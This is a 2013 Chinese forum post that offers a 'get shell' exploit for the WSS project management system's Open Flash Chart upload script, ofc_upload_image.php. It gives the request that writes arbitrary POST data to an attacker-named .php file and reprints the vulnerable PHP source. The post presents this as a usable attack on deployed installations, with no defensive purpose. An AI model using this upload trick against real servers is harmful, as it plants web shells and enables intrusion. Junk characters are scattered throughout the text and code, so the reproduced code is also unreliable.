标题: WSS项目管理系统Post get shell [打印本页] 作者: admin 时间: 2013-2-23 12:38 标题: WSS项目管理系统Post get shell POST 数据漏洞文件执行任意后缀文件保存% |. j; ]6 I& ]# l
漏洞文件/chart/php-ofc-library/ofc_upload_image.php ' ^9 \ }1 r+ T$ L4 n8 e0 }4 j6 J X( ^) J1 b: H; ]$ }
利用： ) h8 [1 [9 M# N! g/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名 6 x2 u) X2 S* _9 E7 Q 1 C0 S7 N% H. U! fPost任意数据+ R9 `; l) r6 {$ o. H d
保存位置http://localhost/chart/tmp-upload-images/hfy.php% R0 X& k. ]6 V7 c
[attach]201[/attach]" C2 L- s; u" J5 Z% r
[attach]202[/attach] / c2 p' W: v1 l( \# C( R. Q$ Z4 n最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~' j; K8 Q% H3 {+ G- ?8 M" D
, r8 b0 F5 e- |! U2 [$ a5 \) e; [
<?php 7 q. ` U b6 b5 r$ Y9 k4 }/ @; } . C) [$ K6 b, x# l1 m- t- F$ k! c9 {// 0 y3 O2 J' o4 m/ F) q// In Open Flash Chart -> save_image debug mode, you4 b# W: l% U% s* ~# g* o) A
// will see the 'echo' text in a new window. : k3 X7 e( Y% \: `( l// k# H7 r n, i5 H" b/ R- `; s' y# q) f/ l) A9 p: U) h) C) `
/* f, F. u5 H: x5 x; a5 l( \ N3 w ) c4 g5 \* {0 C( ~" H/ |- Xprint_r( $_GET ); ) Q8 O2 [" ?2 v/ Nprint_r( $_POST );3 ^" c- Z q' H, h% ?
print_r( $_FILES );0 f( N7 |/ `& Z
, V8 N: ^& q0 ]
print_r( $GLOBALS ); @: q) j1 O" K% w5 T, Nprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] ); 5 z- E" V' a! ^. _& Y & m: m: \ A$ C6 G& Q& A+ }*/ 0 i- C5 g# n$ i// default path for the image to be stored // + i- Q8 T& c3 [) ?, b* s$default_path = '../tmp-upload-images/'; ' c/ Z6 e& g4 Q3 j, o: t) p+ q4 [4 }8 n* e! ^( L
if (!file_exists($default_path)) mkdir($default_path, 0777, true);% d- m' E; \5 o( R
: k) Z- ^2 c: \2 Q5 [9 Y& B// full path to the saved image including filename // $ N m9 B* z" }; T$destination = $default_path . basename( $_GET[ 'name' ] ); 9 {3 \! Z9 B1 Q R: I- n w
! g/ p# t3 x E- p7 K
echo 'Saving your image to: '. $destination;( j4 i! {$ J; P* z
// print_r( $_POST ); 9 `7 G: E% E" y; s. J6 o* d// print_r( $_SERVER );- M: p8 Y% ?2 X; H/ w/ Q2 i# O
// echo $HTTP_RAW_POST_DATA;$ q* p! m/ {$ _) e) w& O
' k. m7 k: U% J
//' r* f% Y& B! }
// POST data is usually string data, but we are passing a RAW .png: Y! ?* w7 r4 V7 X2 P
// so PHP is a bit confused and $_POST is empty. But it has saved 2 B& U ^$ w2 K/ E// the raw bits into $HTTP_RAW_POST_DATA @: W# m: [! t
//( f0 N4 g2 |- E6 p/ D
, w. |/ r2 @$ o4 E7 G$jfh = fopen($destination, 'w') or die("can't open file");! S) e% g/ C8 B- l- h
fwrite($jfh, $HTTP_RAW_POST_DATA);4 w3 P _$ j* N1 e2 ]
fclose($jfh);3 P, f# \- a* s
6 S7 R/ r6 Y9 a
// : m/ j2 f+ c" y4 m- T// LOOK:/ S/ {* b5 a- R- E' M
// : o- _+ M2 D! R! ?& V+ _5 Uexit(); * K( _8 H' A1 W0 V [# F// ) J1 }: ?# f. ~/ {6 `) `// PHP5:7 g* c6 t. t; o8 f
//6 l) i9 p- t7 _7 F4 z
/ U3 ^7 x! R# b1 o
@4 J4 i& h: D1 ]; Q$ y7 t
// default path for the image to be stored // & B0 m6 n( _) P* g$default_path = 'tmp-upload-images/';( g6 F' t; j- i. n
$ W4 o+ S' i' x* q5 E& gif (!file_exists($default_path)) mkdir($default_path, 0777, true); ! r( ` o9 D8 e' }* Y D% w7 A' h1 y: V, V// full path to the saved image including filename // 9 p+ |2 F; w/ c$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); " } [% G. h! h7 t% s* T+ q3 h& \: K# \4 c
// move the image into the specified directory //* `" u% y* A6 S
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) { s) E3 W7 B# k# P! U9 e( W
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;"; / m$ @1 t$ n& F} else {- j& [/ e8 G% {5 u3 V% J
echo "FILE UPLOAD FAILED"; 8 {; k* j: X' _. |}7 c" m; y, P$ C, }6 X
( z+ W8 _4 p6 _: |; ^8 x Q0 S( j! d" f" y* n# u4 L
?>+ [; X* \/ o7 M2 |. l1 N- E3 l